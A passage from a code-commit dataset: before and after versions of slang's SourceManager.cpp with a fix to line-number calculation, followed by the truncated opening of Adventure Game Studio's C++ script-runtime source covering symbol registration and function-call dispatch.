SourceManager::isBeforeInCompilationUnit(SourceLocation left, SourceLocation right) const {\n \/\/ Simple check: if they're in the same buffer, just do an easy compare\n if (left.buffer() == right.buffer())\n return left.offset() < right.offset();\n\n \/\/ TODO: add a cache for this?\n\n auto moveUp = [this](SourceLocation& sl) {\n if (!isFileLoc(sl))\n sl = getExpansionLoc(sl);\n else {\n SourceLocation included = getIncludedFrom(sl.buffer());\n if (!included)\n return true;\n sl = included;\n }\n return false;\n };\n\n \/\/ Otherwise we have to build the full include \/ expansion chain and compare.\n SmallHashMap<BufferID, uint32_t, 16> leftChain;\n do {\n leftChain.emplace(left.buffer(), left.offset());\n }\n while (left.buffer() != right.buffer() && !moveUp(left));\n\n SmallHashMap<BufferID, uint32_t, 16>::iterator it;\n while ((it = leftChain.find(right.buffer())) == leftChain.end()) {\n if (moveUp(right))\n break;\n }\n\n if (it != leftChain.end())\n left = SourceLocation(it->first, it->second);\n\n \/\/ At this point, we either have a nearest common ancestor, or the two\n \/\/ locations are simply in totally different compilation units.\n ASSERT(left.buffer() == right.buffer());\n return left.offset() < right.offset();\n}\n\nSourceLocation SourceManager::getExpansionLoc(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return SourceLocation();\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get<ExpansionInfo>(bufferEntries[buffer.id]).expansionStart;\n}\n\nSourceRange SourceManager::getExpansionRange(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return SourceRange();\n\n ASSERT(buffer.id < bufferEntries.size());\n const ExpansionInfo& info = std::get<ExpansionInfo>(bufferEntries[buffer.id]);\n return SourceRange(info.expansionStart, info.expansionEnd);\n}\n\nSourceLocation SourceManager::getOriginalLoc(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return SourceLocation();\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get<ExpansionInfo>(bufferEntries[buffer.id]).originalLoc + location.offset();\n}\n\nSourceLocation SourceManager::getFullyExpandedLoc(SourceLocation location) const {\n while (isMacroLoc(location))\n location = getExpansionLoc(location);\n return location;\n}\n\nStringRef SourceManager::getSourceText(BufferID buffer) const {\n FileData* fd = getFileData(buffer);\n if (!fd)\n return nullptr;\n\n return StringRef(fd->mem);\n}\n\nSourceLocation SourceManager::createExpansionLoc(SourceLocation originalLoc, SourceLocation expansionStart,\n SourceLocation expansionEnd) {\n bufferEntries.emplace_back(ExpansionInfo(originalLoc, expansionStart, expansionEnd));\n return SourceLocation(BufferID::get((uint32_t)(bufferEntries.size() - 1)), 0);\n}\n\nSourceBuffer SourceManager::assignText(StringRef text, SourceLocation includedFrom) {\n \/\/ Generate a placeholder name for this \"file\"\n return assignText(StringRef(\"<unnamed_buffer\" + std::to_string(unnamedBufferCount++) + \">\"), text, includedFrom);\n}\n\nSourceBuffer SourceManager::assignText(StringRef path, StringRef text, SourceLocation includedFrom) {\n SmallVectorSized<char, 2> buffer;\n buffer.appendRange(text);\n if (buffer.empty() || buffer.back() != '\\0')\n buffer.append('\\0');\n\n return assignBuffer(path, std::move(buffer), includedFrom);\n}\n\nSourceBuffer SourceManager::appendText(BufferID buffer, StringRef text) {\n ASSERT(buffer);\n FileInfo& fi = std::get<FileInfo>(bufferEntries[buffer.id]);\n SourceLocation includeLoc = SourceLocation(buffer, fi.data->mem.count());\n return assignText(text, includeLoc);\n}\n\nSourceBuffer SourceManager::assignBuffer(StringRef path, Vector<char>&& buffer, SourceLocation includedFrom) {\n Path fullPath = path;\n std::string canonicalStr = fullPath.str();\n auto it = lookupCache.find(canonicalStr);\n ASSERT(it == lookupCache.end());\n\n return cacheBuffer(std::move(canonicalStr), fullPath, includedFrom, std::move(buffer));\n}\n\nSourceBuffer SourceManager::readSource(StringRef path) {\n ASSERT(path);\n return openCached(path, SourceLocation());\n}\n\nSourceBuffer SourceManager::readHeader(StringRef path, SourceLocation includedFrom, bool isSystemPath) {\n \/\/ if the header is specified as an absolute path, just do a straight lookup\n ASSERT(path);\n Path p = path;\n if (p.isAbsolute())\n return openCached(p, includedFrom);\n\n \/\/ system path lookups only look in system directories\n if (isSystemPath) {\n for (auto& d : systemDirectories) {\n SourceBuffer result = openCached(d + p, includedFrom);\n if (result.id)\n return result;\n }\n return SourceBuffer();\n }\n\n \/\/ search relative to the current file\n FileData* fd = getFileData(includedFrom.buffer());\n if (fd && fd->directory) {\n SourceBuffer result = openCached((*fd->directory) + p, includedFrom);\n if (result.id)\n return result;\n }\n\n \/\/ search additional include directories\n for (auto& d : userDirectories) {\n SourceBuffer result = openCached(d + p, includedFrom);\n if (result.id)\n return result;\n }\n\n return SourceBuffer();\n}\n\nvoid SourceManager::addLineDirective(SourceLocation location, uint32_t lineNum,\n StringRef name, uint8_t level) {\n SourceLocation fileLocation = getFullyExpandedLoc(location);\n FileData* fd = getFileData(fileLocation.buffer());\n if (!fd)\n return;\n\n uint32_t sourceLineNum = getRawLineNumber(fileLocation);\n fd->lineDirectives.emplace_back(sourceLineNum, lineNum, name, level);\n}\n\nSourceManager::FileData* SourceManager::getFileData(BufferID buffer) const {\n if (!buffer)\n return nullptr;\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get<FileInfo>(bufferEntries[buffer.id]).data;\n}\n\nSourceBuffer SourceManager::createBufferEntry(FileData* fd, SourceLocation includedFrom) {\n ASSERT(fd);\n bufferEntries.emplace_back(FileInfo(fd, includedFrom));\n return SourceBuffer {\n StringRef(fd->mem),\n BufferID::get((uint32_t)(bufferEntries.size() - 1))\n };\n}\n\nSourceBuffer SourceManager::openCached(const Path& fullPath, SourceLocation includedFrom) {\n Path absPath;\n try {\n absPath = Path::makeAbsolute(fullPath);\n }\n catch (std::runtime_error&) {\n return SourceBuffer();\n }\n\n \/\/ first see if we have this file cached\n std::string canonicalStr = absPath.str();\n auto it = lookupCache.find(canonicalStr);\n if (it != lookupCache.end()) {\n FileData* fd = it->second.get();\n if (!fd)\n return SourceBuffer();\n return createBufferEntry(fd, includedFrom);\n }\n\n \/\/ do the read\n Vector<char> buffer;\n if (!readFile(absPath, buffer)) {\n lookupCache.emplace(std::move(canonicalStr), nullptr);\n return SourceBuffer();\n }\n\n return cacheBuffer(std::move(canonicalStr), absPath, includedFrom, std::move(buffer));\n}\n\nSourceBuffer SourceManager::cacheBuffer(std::string&& canonicalPath, const Path& path, SourceLocation includedFrom, Vector<char>&& buffer) {\n std::string name = path.filename();\n auto fd = std::make_unique<FileData>(\n &*directories.insert(path.parentPath()).first,\n name,\n std::move(buffer)\n );\n\n FileData* fdPtr = lookupCache.emplace(std::move(canonicalPath), std::move(fd)).first->second.get();\n return createBufferEntry(fdPtr, includedFrom);\n}\n\nbool SourceManager::readFile(const Path& path, Vector<char>& buffer) {\n size_t size;\n try {\n size = path.fileSize();\n }\n catch (std::runtime_error&) {\n return false;\n }\n\n \/\/ + 1 for null terminator\n buffer.extend((uint32_t)size + 1);\n std::ifstream stream(path.str(), std::ios::binary);\n stream.read(buffer.begin(), size);\n\n \/\/ null-terminate the buffer while we're at it\n buffer.begin()[(uint32_t)size] = '\\0';\n\n return stream.good();\n}\n\nvoid SourceManager::computeLineOffsets(const Vector<char>& buffer, std::vector<uint32_t>& offsets) {\n \/\/ first line always starts at offset 0\n offsets.push_back(0);\n\n const char* ptr = buffer.begin();\n const char* end = buffer.end();\n while (ptr != end) {\n if (ptr[0] == '\\n' || ptr[0] == '\\r') {\n \/\/ if we see \\r\\n or \\n\\r skip both chars\n if ((ptr[1] == '\\n' || ptr[1] == '\\r') && ptr[0] != ptr[1])\n ptr++;\n ptr++;\n offsets.push_back((uint32_t)(ptr - buffer.begin()));\n }\n else {\n ptr++;\n }\n }\n}\n\nconst SourceManager::FileData::LineDirectiveInfo*\nSourceManager::FileData::getPreviousLineDirective(uint32_t rawLineNumber) const {\n auto it = std::lower_bound(lineDirectives.begin(), lineDirectives.end(),\n LineDirectiveInfo(rawLineNumber, 0, \"\", 0), LineDirectiveComparator());\n\n if (it != lineDirectives.begin()) {\n \/\/ lower_bound will give us an iterator to the first directive after the command\n \/\/ let's instead get a pointer to the one right before it\n if (it == lineDirectives.end()) {\n \/\/ Check to see whether the actual last directive is before the\n \/\/ given line number\n if (lineDirectives.back().lineInFile >= rawLineNumber)\n return nullptr;\n }\n return &*(it - 1);\n }\n else {\n return nullptr;\n }\n}\n\nuint32_t SourceManager::getRawLineNumber(SourceLocation location) const {\n FileData* fd = getFileData(location.buffer());\n if (!fd)\n return 0;\n\n \/\/ compute line offsets if we haven't already\n if (fd->lineOffsets.empty())\n computeLineOffsets(fd->mem, fd->lineOffsets);\n\n \/\/ Find the first line offset that is greater than the given location offset. That iterator\n \/\/ then tells us how many lines away from the beginning we are.\n auto it = std::lower_bound(fd->lineOffsets.begin(), fd->lineOffsets.end(), location.offset());\n\n \/\/ We want to ensure the line we return is strictly greater than the given location offset.\n \/\/ So if it is equal, add one to the lower bound we got\n return (uint32_t)(it - fd->lineOffsets.begin()) + (*it == location.offset());\n}\n\n}\n<commit_msg>Fix bug in line number calculation<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ SourceManager.cpp\n\/\/ Source file management.\n\/\/\n\/\/ File is under the MIT license; see LICENSE for details.\n\/\/------------------------------------------------------------------------------\n#include \"SourceManager.h\"\n\n#include <algorithm>\n#include <fstream>\n\n#include \"util\/HashMap.h\"\n\nnamespace slang {\n\nSourceManager::SourceManager() {\n \/\/ add a dummy entry to the start of the directory list so that our file IDs line up\n FileInfo file;\n bufferEntries.emplace_back(file);\n}\n\nstd::string SourceManager::makeAbsolutePath(StringRef path) const {\n if (!path)\n return \"\";\n\n return Path::makeAbsolute(path).str();\n}\n\nvoid SourceManager::addSystemDirectory(StringRef path) {\n systemDirectories.push_back(Path::makeAbsolute(path));\n}\n\nvoid SourceManager::addUserDirectory(StringRef path) {\n userDirectories.push_back(Path::makeAbsolute(path));\n}\n\nuint32_t SourceManager::getLineNumber(SourceLocation location) const {\n SourceLocation fileLocation = getFullyExpandedLoc(location);\n uint32_t rawLineNumber = getRawLineNumber(fileLocation);\n if (rawLineNumber == 0)\n return 0;\n\n FileData* fd = getFileData(fileLocation.buffer());\n auto lineDirective = fd->getPreviousLineDirective(rawLineNumber);\n\n if (!lineDirective)\n return rawLineNumber;\n else\n return lineDirective->lineOfDirective + (rawLineNumber - lineDirective->lineInFile) - 1;\n}\n\nuint32_t SourceManager::getColumnNumber(SourceLocation location) const {\n FileData* fd = getFileData(location.buffer());\n if (!fd)\n return 0;\n\n \/\/ walk backward to find start of line\n uint32_t lineStart = location.offset();\n ASSERT(lineStart < fd->mem.count());\n while (lineStart > 0 && fd->mem[lineStart - 1] != '\\n' && fd->mem[lineStart - 1] != '\\r')\n lineStart--;\n\n return location.offset() - lineStart + 1;\n}\n\nStringRef SourceManager::getFileName(SourceLocation location) const {\n SourceLocation fileLocation = getFullyExpandedLoc(location);\n\n \/\/ Avoid computing line offsets if we just need a name of `line-less file\n FileData* fd = getFileData(fileLocation.buffer());\n if (!fd)\n return nullptr;\n else if (fd->lineDirectives.empty())\n return StringRef(fd->name);\n\n auto lineDirective = fd->getPreviousLineDirective(getRawLineNumber(fileLocation));\n if (!lineDirective)\n return StringRef(fd->name);\n else\n return StringRef(lineDirective->name);\n}\n\nSourceLocation SourceManager::getIncludedFrom(BufferID buffer) const {\n if (!buffer)\n return SourceLocation();\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get<FileInfo>(bufferEntries[buffer.id]).includedFrom;\n}\n\nbool SourceManager::isFileLoc(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return false;\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get_if<FileInfo>(&bufferEntries[buffer.id]) != nullptr;\n}\n\nbool SourceManager::isMacroLoc(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return false;\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get_if<ExpansionInfo>(&bufferEntries[buffer.id]) != nullptr;\n}\n\nbool SourceManager::isIncludedFileLoc(SourceLocation location) const {\n return getIncludedFrom(location.buffer()).valid();\n}\n\nbool SourceManager::isBeforeInCompilationUnit(SourceLocation left, SourceLocation right) const {\n \/\/ Simple check: if they're in the same buffer, just do an easy compare\n if (left.buffer() == right.buffer())\n return left.offset() < right.offset();\n\n \/\/ TODO: add a cache for this?\n\n auto moveUp = [this](SourceLocation& sl) {\n if (!isFileLoc(sl))\n sl = getExpansionLoc(sl);\n else {\n SourceLocation included = getIncludedFrom(sl.buffer());\n if (!included)\n return true;\n sl = included;\n }\n return false;\n };\n\n \/\/ Otherwise we have to build the full include \/ expansion chain and compare.\n SmallHashMap<BufferID, uint32_t, 16> leftChain;\n do {\n leftChain.emplace(left.buffer(), left.offset());\n }\n while (left.buffer() != right.buffer() && !moveUp(left));\n\n SmallHashMap<BufferID, uint32_t, 16>::iterator it;\n while ((it = leftChain.find(right.buffer())) == leftChain.end()) {\n if (moveUp(right))\n break;\n }\n\n if (it != leftChain.end())\n left = SourceLocation(it->first, it->second);\n\n \/\/ At this point, we either have a nearest common ancestor, or the two\n \/\/ locations are simply in totally different compilation units.\n ASSERT(left.buffer() == right.buffer());\n return left.offset() < right.offset();\n}\n\nSourceLocation SourceManager::getExpansionLoc(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return SourceLocation();\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get<ExpansionInfo>(bufferEntries[buffer.id]).expansionStart;\n}\n\nSourceRange SourceManager::getExpansionRange(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return SourceRange();\n\n ASSERT(buffer.id < bufferEntries.size());\n const ExpansionInfo& info = std::get<ExpansionInfo>(bufferEntries[buffer.id]);\n return SourceRange(info.expansionStart, info.expansionEnd);\n}\n\nSourceLocation SourceManager::getOriginalLoc(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return SourceLocation();\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get<ExpansionInfo>(bufferEntries[buffer.id]).originalLoc + location.offset();\n}\n\nSourceLocation SourceManager::getFullyExpandedLoc(SourceLocation location) const {\n while (isMacroLoc(location))\n location = getExpansionLoc(location);\n return location;\n}\n\nStringRef SourceManager::getSourceText(BufferID buffer) const {\n FileData* fd = getFileData(buffer);\n if (!fd)\n return nullptr;\n\n return StringRef(fd->mem);\n}\n\nSourceLocation SourceManager::createExpansionLoc(SourceLocation originalLoc, SourceLocation expansionStart,\n SourceLocation expansionEnd) {\n bufferEntries.emplace_back(ExpansionInfo(originalLoc, expansionStart, expansionEnd));\n return SourceLocation(BufferID::get((uint32_t)(bufferEntries.size() - 1)), 0);\n}\n\nSourceBuffer SourceManager::assignText(StringRef text, SourceLocation includedFrom) {\n \/\/ Generate a placeholder name for this \"file\"\n return assignText(StringRef(\"<unnamed_buffer\" + std::to_string(unnamedBufferCount++) + \">\"), text, includedFrom);\n}\n\nSourceBuffer SourceManager::assignText(StringRef path, StringRef text, SourceLocation includedFrom) {\n SmallVectorSized<char, 2> buffer;\n buffer.appendRange(text);\n if (buffer.empty() || buffer.back() != '\\0')\n buffer.append('\\0');\n\n return assignBuffer(path, std::move(buffer), includedFrom);\n}\n\nSourceBuffer SourceManager::appendText(BufferID buffer, StringRef text) {\n ASSERT(buffer);\n FileInfo& fi = std::get<FileInfo>(bufferEntries[buffer.id]);\n SourceLocation includeLoc = SourceLocation(buffer, fi.data->mem.count());\n return assignText(text, includeLoc);\n}\n\nSourceBuffer SourceManager::assignBuffer(StringRef path, Vector<char>&& buffer, SourceLocation includedFrom) {\n Path fullPath = path;\n std::string canonicalStr = fullPath.str();\n auto it = lookupCache.find(canonicalStr);\n ASSERT(it == lookupCache.end());\n\n return cacheBuffer(std::move(canonicalStr), fullPath, includedFrom, std::move(buffer));\n}\n\nSourceBuffer SourceManager::readSource(StringRef path) {\n ASSERT(path);\n return openCached(path, SourceLocation());\n}\n\nSourceBuffer SourceManager::readHeader(StringRef path, SourceLocation includedFrom, bool isSystemPath) {\n \/\/ if the header is specified as an absolute path, just do a straight lookup\n ASSERT(path);\n Path p = path;\n if (p.isAbsolute())\n return openCached(p, includedFrom);\n\n \/\/ system path lookups only look in system directories\n if (isSystemPath) {\n for (auto& d : systemDirectories) {\n SourceBuffer result = openCached(d + p, includedFrom);\n if (result.id)\n return result;\n }\n return SourceBuffer();\n }\n\n \/\/ search relative to the current file\n FileData* fd = getFileData(includedFrom.buffer());\n if (fd && fd->directory) {\n SourceBuffer result = openCached((*fd->directory) + p, includedFrom);\n if (result.id)\n return result;\n }\n\n \/\/ search additional include directories\n for (auto& d : userDirectories) {\n SourceBuffer result = openCached(d + p, includedFrom);\n if (result.id)\n return result;\n }\n\n return SourceBuffer();\n}\n\nvoid SourceManager::addLineDirective(SourceLocation location, uint32_t lineNum,\n StringRef name, uint8_t level) {\n SourceLocation fileLocation = getFullyExpandedLoc(location);\n FileData* fd = getFileData(fileLocation.buffer());\n if (!fd)\n return;\n\n uint32_t sourceLineNum = getRawLineNumber(fileLocation);\n fd->lineDirectives.emplace_back(sourceLineNum, lineNum, name, level);\n}\n\nSourceManager::FileData* SourceManager::getFileData(BufferID buffer) const {\n if (!buffer)\n return nullptr;\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get<FileInfo>(bufferEntries[buffer.id]).data;\n}\n\nSourceBuffer SourceManager::createBufferEntry(FileData* fd, SourceLocation includedFrom) {\n ASSERT(fd);\n bufferEntries.emplace_back(FileInfo(fd, includedFrom));\n return SourceBuffer {\n StringRef(fd->mem),\n BufferID::get((uint32_t)(bufferEntries.size() - 1))\n };\n}\n\nSourceBuffer SourceManager::openCached(const Path& fullPath, SourceLocation includedFrom) {\n Path absPath;\n try {\n absPath = Path::makeAbsolute(fullPath);\n }\n catch (std::runtime_error&) {\n return SourceBuffer();\n }\n\n \/\/ first see if we have this file cached\n std::string canonicalStr = absPath.str();\n auto it = lookupCache.find(canonicalStr);\n if (it != lookupCache.end()) {\n FileData* fd = it->second.get();\n if (!fd)\n return SourceBuffer();\n return createBufferEntry(fd, includedFrom);\n }\n\n \/\/ do the read\n Vector<char> buffer;\n if (!readFile(absPath, buffer)) {\n lookupCache.emplace(std::move(canonicalStr), nullptr);\n return SourceBuffer();\n }\n\n return cacheBuffer(std::move(canonicalStr), absPath, includedFrom, std::move(buffer));\n}\n\nSourceBuffer SourceManager::cacheBuffer(std::string&& canonicalPath, const Path& path, SourceLocation includedFrom, Vector<char>&& buffer) {\n std::string name = path.filename();\n auto fd = std::make_unique<FileData>(\n &*directories.insert(path.parentPath()).first,\n name,\n std::move(buffer)\n );\n\n FileData* fdPtr = lookupCache.emplace(std::move(canonicalPath), std::move(fd)).first->second.get();\n return createBufferEntry(fdPtr, includedFrom);\n}\n\nbool SourceManager::readFile(const Path& path, Vector<char>& buffer) {\n size_t size;\n try {\n size = path.fileSize();\n }\n catch (std::runtime_error&) {\n return false;\n }\n\n \/\/ + 1 for null terminator\n buffer.extend((uint32_t)size + 1);\n std::ifstream stream(path.str(), std::ios::binary);\n stream.read(buffer.begin(), size);\n\n \/\/ null-terminate the buffer while we're at it\n buffer.begin()[(uint32_t)size] = '\\0';\n\n return stream.good();\n}\n\nvoid SourceManager::computeLineOffsets(const Vector<char>& buffer, std::vector<uint32_t>& offsets) {\n \/\/ first line always starts at offset 0\n offsets.push_back(0);\n\n const char* ptr = buffer.begin();\n const char* end = buffer.end();\n while (ptr != end) {\n if (ptr[0] == '\\n' || ptr[0] == '\\r') {\n \/\/ if we see \\r\\n or \\n\\r skip both chars\n if ((ptr[1] == '\\n' || ptr[1] == '\\r') && ptr[0] != ptr[1])\n ptr++;\n ptr++;\n offsets.push_back((uint32_t)(ptr - buffer.begin()));\n }\n else {\n ptr++;\n }\n }\n}\n\nconst SourceManager::FileData::LineDirectiveInfo*\nSourceManager::FileData::getPreviousLineDirective(uint32_t rawLineNumber) const {\n auto it = std::lower_bound(lineDirectives.begin(), lineDirectives.end(),\n LineDirectiveInfo(rawLineNumber, 0, \"\", 0), LineDirectiveComparator());\n\n if (it != lineDirectives.begin()) {\n \/\/ lower_bound will give us an iterator to the first directive after the command\n \/\/ let's instead get a pointer to the one right before it\n if (it == lineDirectives.end()) {\n \/\/ Check to see whether the actual last directive is before the\n \/\/ given line number\n if (lineDirectives.back().lineInFile >= rawLineNumber)\n return nullptr;\n }\n return &*(it - 1);\n }\n else {\n return nullptr;\n }\n}\n\nuint32_t SourceManager::getRawLineNumber(SourceLocation location) const {\n FileData* fd = getFileData(location.buffer());\n if (!fd)\n return 0;\n\n \/\/ compute line offsets if we haven't already\n if (fd->lineOffsets.empty())\n computeLineOffsets(fd->mem, fd->lineOffsets);\n\n \/\/ Find the first line offset that is greater than the given location offset. That iterator\n \/\/ then tells us how many lines away from the beginning we are.\n auto it = std::lower_bound(fd->lineOffsets.begin(), fd->lineOffsets.end(), location.offset());\n\n \/\/ We want to ensure the line we return is strictly greater than the given location offset.\n \/\/ So if it is equal, add one to the lower bound we got\n uint32_t line = uint32_t(it - fd->lineOffsets.begin());\n if (it != fd->lineOffsets.end() && *it == location.offset())\n line++;\n return line;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/=============================================================================\n\/\/\n\/\/ Adventure Game Studio (AGS)\n\/\/\n\/\/ Copyright (C) 1999-2011 Chris Jones and 2011-20xx others\n\/\/ The full list of copyright holders can be found in the Copyright.txt\n\/\/ file, which is part of this source code distribution.\n\/\/\n\/\/ The AGS source code is provided under the Artistic License 2.0.\n\/\/ A copy of this license can be found in the file License.txt and at\n\/\/ http:\/\/www.opensource.org\/licenses\/artistic-license-2.0.php\n\/\/\n\/\/=============================================================================\n\/\/\n\/\/ C-Script run-time interpreter (c) 2001 Chris Jones\n\/\/\n\/\/ You must DISABLE OPTIMIZATIONS AND REGISTER VARIABLES in your compiler\n\/\/ when compiling this, or strange results can happen.\n\/\/\n\/\/ There is a problem with importing functions on 16-bit compilers: the\n\/\/ script system assumes that all parameters are passed as 4 bytes, which\n\/\/ ints are not on 16-bit systems. Be sure to define all parameters as longs,\n\/\/ or join the 21st century and switch to DJGPP or Visual C++.\n\/\/\n\/\/=============================================================================\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <string.h>\n#include \"script\/script_runtime.h\"\n#include \"script\/script_common.h\"\n#include \"script\/cc_error.h\"\n#include \"script\/cc_options.h\"\n#include \"ac\/dynobj\/cc_dynamicarray.h\"\n#include \"ac\/dynobj\/managedobjectpool.h\"\n#include \"script\/systemimports.h\"\n#include \"ac\/statobj\/staticobject.h\"\n\nextern ccInstance *current_instance; \/\/ in script\/cc_instance\n\nbool ccAddExternalStaticFunction(const char *name, ScriptAPIFunction *pfn)\n{\n return simp.add(name, RuntimeScriptValue().SetStaticFunction(pfn), NULL) == 0;\n}\n\nbool ccAddExternalPluginFunction(const char *name, void *pfn)\n{\n return simp.add(name, RuntimeScriptValue().SetPluginFunction(pfn), NULL) == 0;\n}\n\nbool ccAddExternalStaticObject(const char *name, void *ptr, ICCStaticObject *manager)\n{\n return simp.add(name, RuntimeScriptValue().SetStaticObject(ptr, manager), NULL) == 0;\n}\n\nbool ccAddExternalStaticArray(const char *name, void *ptr, StaticArray *array_mgr)\n{\n return simp.add(name, RuntimeScriptValue().SetStaticArray(ptr, array_mgr), NULL) == 0;\n}\n\nbool ccAddExternalDynamicObject(const char *name, void *ptr, ICCDynamicObject *manager)\n{\n return simp.add(name, RuntimeScriptValue().SetDynamicObject(ptr, manager), NULL) == 0;\n}\n\nbool ccAddExternalObjectFunction(const char *name, ScriptAPIObjectFunction *pfn)\n{\n return simp.add(name, RuntimeScriptValue().SetObjectFunction(pfn), NULL) == 0;\n}\n\nbool ccAddExternalScriptSymbol(const char *name, const RuntimeScriptValue &prval, ccInstance *inst)\n{\n return simp.add(name, prval, inst) == 0;\n}\n\nvoid ccRemoveExternalSymbol(const char *namof)\n{\n simp.remove(namof);\n}\n\nvoid ccRemoveAllSymbols()\n{\n simp.clear();\n}\n\nccInstance *loadedInstances[MAX_LOADED_INSTANCES] = {NULL,\nNULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, \nNULL, NULL, NULL, NULL, NULL, NULL};\n\nvoid nullfree(void *data)\n{\n if (data != NULL)\n free(data);\n}\n\nvoid *ccGetSymbolAddress(char *namof)\n{\n const ScriptImport *import = simp.getByName(namof);\n if (import)\n {\n return import->Value.Ptr;\n }\n return NULL;\n}\n\nbool ccAddExternalFunctionForPlugin(const char *name, void *pfn)\n{\n return simp_for_plugin.add(name, RuntimeScriptValue().SetPluginFunction(pfn), NULL) == 0;\n}\n\nvoid *ccGetSymbolAddressForPlugin(char *namof)\n{\n const ScriptImport *import = simp_for_plugin.getByName(namof);\n if (import)\n {\n return import->Value.Ptr;\n }\n return NULL;\n}\n\nnew_line_hook_type new_line_hook = NULL;\n\nchar ccRunnerCopyright[] = \"ScriptExecuter32 v\" SCOM_VERSIONSTR \" (c) 2001 Chris Jones\";\nint maxWhileLoops = 0;\n\n\/\/ If a while loop does this many iterations without the\n\/\/ NofityScriptAlive function getting called, the script\n\/\/ aborts. Set to 0 to disable.\nvoid ccSetScriptAliveTimer (int numloop) {\n maxWhileLoops = numloop;\n}\n\nvoid ccNotifyScriptStillAlive () {\n if (current_instance != NULL)\n current_instance->flags |= INSTF_RUNNING;\n}\n\nvoid ccSetDebugHook(new_line_hook_type jibble)\n{\n new_line_hook = jibble;\n}\n\nint call_function(intptr_t addr, const RuntimeScriptValue *object, int numparm, const RuntimeScriptValue *parms)\n{\n if (!addr)\n {\n cc_error(\"null function pointer in call_function\");\n return -1;\n }\n if (numparm > 0 && !parms)\n {\n cc_error(\"invalid parameters array in call_function\");\n return -1;\n }\n\n intptr_t parm_value[9];\n if (object)\n {\n parm_value[0] = (intptr_t)object->GetPtrWithOffset();\n numparm++;\n }\n\n for (int ival = object ? 1 : 0, iparm = 0; ival < numparm; ++ival, ++iparm)\n {\n switch (parms[iparm].Type)\n {\n case kScValInteger:\n case kScValFloat: \/\/ AGS passes floats, copying their values into long variable\n case kScValPluginArg:\n parm_value[ival] = (intptr_t)parms[iparm].IValue;\n break;\n break;\n default:\n parm_value[ival] = (intptr_t)parms[iparm].GetPtrWithOffset();\n break;\n }\n }\n\n \/\/\n \/\/ AN IMPORTANT NOTE ON PARAM TYPE\n \/\/ of 2012-11-10\n \/\/\n \/\/\/\/ NOTE of 2012-12-20:\n \/\/\/\/ Everything said below is applicable only for calling\n \/\/\/\/ exported plugin functions.\n \/\/\n \/\/ Here we are sending parameters of type intptr_t to registered\n \/\/ function of unknown kind. Intptr_t is 32-bit for x32 build and\n \/\/ 64-bit for x64 build.\n \/\/ The exported functions usually have two types of parameters:\n \/\/ pointer and 'int' (32-bit). For x32 build those two have the\n \/\/ same size, but for x64 build first has 64-bit size while the\n \/\/ second remains 32-bit.\n \/\/ In formal case that would cause 'overflow' - function will\n \/\/ receive more data than needed (written to stack), with some\n \/\/ values shifted further by 32 bits.\n \/\/\n \/\/ Upon testing, however, it was revealed that AMD64 processor,\n \/\/ the only platform we support x64 Linux AGS build on right now,\n \/\/ treats all the function parameters pushed to stack as 64-bit\n \/\/ values (few first parameters are sent via registers, and hence\n \/\/ are least concern anyway). Therefore, no 'overflow' occurs,\n \/\/ and 64-bit values are being effectively truncated to 32-bit\n \/\/ integers in the callee.\n \/\/\n \/\/ Since this is still quite unreliable, this should be\n \/\/ reimplemented when there's enough free time available for\n \/\/ developers both for coding & testing.\n \/\/\n \/\/ Most basic idea is to pass array of RuntimeScriptValue\n \/\/ objects (that hold type description) and get same RSV as a\n \/\/ return result. Keep in mind, though, that this solution will\n \/\/ require fixing ALL exported functions, so a good amount of\n \/\/ time and energy should be allocated for this task.\n \/\/\n\n switch (numparm)\n {\n case 0:\n {\n int (*fparam) ();\n fparam = (int (*)())addr;\n return fparam();\n }\n case 1:\n {\n int (*fparam) (intptr_t);\n fparam = (int (*)(intptr_t))addr;\n return fparam(parm_value[0]);\n }\n case 2:\n {\n int (*fparam) (intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1]);\n }\n case 3:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2]);\n }\n case 4:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3]);\n }\n case 5:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4]);\n }\n case 6:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4], parm_value[5]);\n }\n case 7:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t);\n fparam = (int (*)(intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t, intptr_t))addr;\n return fparam(parm_value[0], parm_value[1], parm_value[2], parm_value[3], parm_value[4], parm_value[5], parm_value[6]);\n }\n case 8:\n {\n int (*fparam) (intptr_t, intptr_t, intptr_t, intptr_t, 